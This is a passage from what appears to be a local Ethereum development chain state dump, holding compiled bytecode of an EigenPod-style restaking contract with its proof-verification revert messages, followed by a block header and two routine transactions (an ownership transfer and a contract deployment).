c60206157ca565b61210683600161581a565b61211091906157ca565b610d04907f000000000000000000000000000000000000000000000000000000000000000061581a565b612146600360206157a0565b81146121d65760405162461bcd60e51b815260206004820152605360248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a2050726f6f6620686064820152720c2e640d2dcc6dee4e4cac6e840d8cadccee8d606b1b608482015260a4016106a4565b61221b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525088925087915060039050613400565b6122c25760405162461bcd60e51b815260206004820152606660248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a20496e76616c696460648201527f206c617465737420626c6f636b2068656164657220726f6f74206d65726b6c6560848201526510383937b7b360d11b60a482015260c4016106a4565b50505050565b60008061230784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff16600281111561237657612376614e91565b600281111561238757612387614e91565b90525090506000816060015160028111156123a4576123a4614e91565b1461244d5760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2056616c696461746f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000000000000081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000000000000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d7000000000608482015260a4016106a4565b600181606001516002811115612a8f57612a8f614e91565b14612af75760405162461bcd60e51b815260206004820152603260248201527f456967656e506f642e76657269667942616c616e63655570646174653a2056616044820152716c696461746f72206e6f742061637469766560701b60648201526084016106a4565b612b008b612003565b6001600160401b0316612b458787808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031611612be8576000836001600160401b031611612be85760405162461bcd60e51b815260206004820152604d60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20766160448201527f6c696461746f7220697320776974686472617761626c6520627574206861732060648201526c3737ba103bb4ba34323930bbb760991b608482015260a4016106a4565b612bf68987878b8b8f613476565b602081015160006001600160401b037f000000000000000000000000000000000000000000000000000000000000000081169086161115612c5857507f0000000000000000000000000000000000000000000000000000000000000000612c5b565b50835b6001600160401b0380821660208086019182528f831660408088019182526000898152603690935290912086518154935192518516600160801b0267ffffffffffffffff60801b19938616600160401b026001600160801b031990951691909516179290921790811683178255606086015186939091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f3088888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b905060008082815260366020526040902054600160c01b900460ff166002811115612f5d57612f5d614e91565b036130135760405162461bcd60e51b815260206004820152607460248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a2056616c696461746f72206e657665722070726f76656e20746f2060648201527f68617665207769746864726177616c2063726564656e7469616c7320706f696e6084820152731d1959081d1bc81d1a1a5cc818dbdb9d1c9858dd60621b60a482015260c4016106a4565b60008181526035602090815260408083206001600160401b038616845290915290205460ff16156130d25760405162461bcd60e51b815260206004820152605b60248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a207769746864726177616c2068617320616c72656164792062656560648201527f6e2070726f76656e20666f7220746869732074696d657374616d700000000000608482015260a4016106a4565b6001603560008381526020019081526020016000206000846001600160401b03166001600160401b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506131af8c87878e7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166344e71c806040518163ffffffff1660e01b8152600401602060405180830381865afa158015613186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131aa9190615a78565b6138ff565b60006131ed87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061432092505050565b90506131fd8d8a8a8e8e86613476565b600061323b88888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061433892505050565b90506132798a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031661329361328e8f615926565b614350565b6001600160401b03161061334b57603354600084815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b81049093169381019390935261334093869388938a936001600160a01b03909316928892916060830190600160c01b900460ff16600281111561332757613327614e91565b600281111561333857613338614e91565b905250614362565b955050505050613365565b60335461334090839086906001600160a01b0316846145a0565b5098975050505050505050565b603354604051633036cd5360e21b81526001600160a01b03918216600482015283821660248201527f00000000000000000000000000000000000000000000000000000000000000009091169063c0db354c9083906044016000604051808303818588803b1580156133e357600080fd5b505af11580156133f7573d6000803e3d6000fd5b50505050505050565b60008361340e86858561467e565b1495945050505050565b60008160008151811061342d5761342d615517565b60200260200101519050919050565b60008160018151811061342d5761342d615517565b6000610d048260028151811061346957613469615517565b60200260200101516147cd565b61348260036002615b7c565b841461350d5760405162461bcd60e51b815260206004820152604e60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2056616c696461746f72206669656c64732068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b600561351b60286001614c64565b6135259190614c64565b6135309060206157a0565b82146135b05760405162461bcd60e51b815260206004820152604360248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2050726f6f662068617320696e636f7272656374206c656e6064820152620cee8d60eb1b608482015260a4016106a4565b600064ffffffffff82166135c660286001614c64565b600b901b179050600061360b87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b905061365185858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250859150869050613400565b6136c35760405162461bcd60e51b815260206004820152603d60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a20496e76616c6964206d65726b6c652070726f6f6600000060648201526084016106a4565b5050505050505050565b6000610d048260078151811061346957613469615517565b60006136fd6001600160401b03808416908516615b88565b9392505050565b804710156137545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106a4565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146137a1576040519150601f19603f3d011682016040523d82523d6000602084013e6137a6565b606091505b50509050806116865760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016106a4565b6000613872826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614acd9092919063ffffffff16565b805190915015611686578080602001905181019061389091906153a2565b6116865760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016106a4565b6000610d048261014001516147cd565b61390a600280615b7c565b831461397e5760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c4669656c64732068617320696e636f7272656064820152680c6e840d8cadccee8d60bb1b608482015260a4016106a4565b61398a600d6002615b7c565b61399a60c0840160a08501615ba8565b6001600160401b031610613a045760405162461bcd60e51b815260206004820152603f6024820152600080516020615bf083398151915260448201527f616c3a20626c6f636b526f6f74496e64657820697320746f6f206c617267650060648201526084016106a4565b613a1060046002615b7c565b613a21610100840160e08501615ba8565b6001600160401b031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000000000000006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000000000000006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b003300000000000000000000000042424242424242424242424242424242424242420000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3180000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000006059f460","r":"0x9e4218306951dded4fe37d88264be939c628d6cddce8ad1056658df34732e751","s":"0x54d13095bb9f4dad844ac83833d4690f0e62cb5547d131c4e2e49618dd3a1ac5","yParity":"0x1","hash":"0x798574a8cdfe6597af6db879423f72684596ecbe6d87b626ac6f0b9a51fa4ab2"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xe85dce825b0d4ae4e8294c4817babdc771df3dd160c042b7b6973d1d4b99511a","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xb405bfcc6e5110a28c665a297c1469d8257af0443d03f3ea3a878af824dc1e3e","transactionsRoot":"0x1286014fd1fbb74eb57694d8f87e2e302bdbdf139338068dd0147d720782b7b7","receiptsRoot":"0x6b14d071cbf4a84a7121ec6631590495181c93212f8502ec0fca56469f317dea","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000400000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000000000000000100000020000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xf","gasLimit":"0x1c9c380","gasUsed":"0x1a69db","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xb3524db","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x34","gas":"0xb2fa","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x851356ae760d987e095750cceb3bc6014560891c","value":"0x0","accessList":[],"input":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0x628778887e0b383a99a9596644da7d0d8a4991c36607ebcef7a5b9f113c113a6","s":"0x2982852c1cfe3cf0128927d2b56e96580aa806de9d06a09d4d2c3697d3f3fdcc","yParity":"0x0","hash":"0xb64f4d13bee1d7bccb889b359e8cbbc06d5098199df13504e8d8f2b150adae89"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x35","gas":"0x21ab88","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b50611dbf806100206000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806331b36bd9146100675780633563b0d1146100905780634d2b57fe146100b05780634f739f74146100d05780635c155662146100f0578063cefdc1d414610110575b600080fd5b61007a6100753660046113b8565b610131565b60405161008791906114a7565b60405180910390f35b6100a361009e3660046114e3565b610245565b6040516100879190611641565b6100c36100be3660046116be565b6106c5565b604051610087919061170d565b6100e36100de3660046117a5565b6107d2565b604051610087919061189e565b6101036100fe366004611959565b610eea565b60405161008791906119bc565b61012361011e3660046119f4565b6110a8565b604051610087929190611a2b565b606081516001600160401b0381111561014c5761014c61134f565b604051908082528060200260200182016040528015610175578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b03166313542a4e8483815181106101a5576101a5611a4c565b60200260200101516040518263ffffffff1660e01b81526004016101d891906001600160a01b0391909116815260200190565b602060405180830381865afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190611a62565b8282815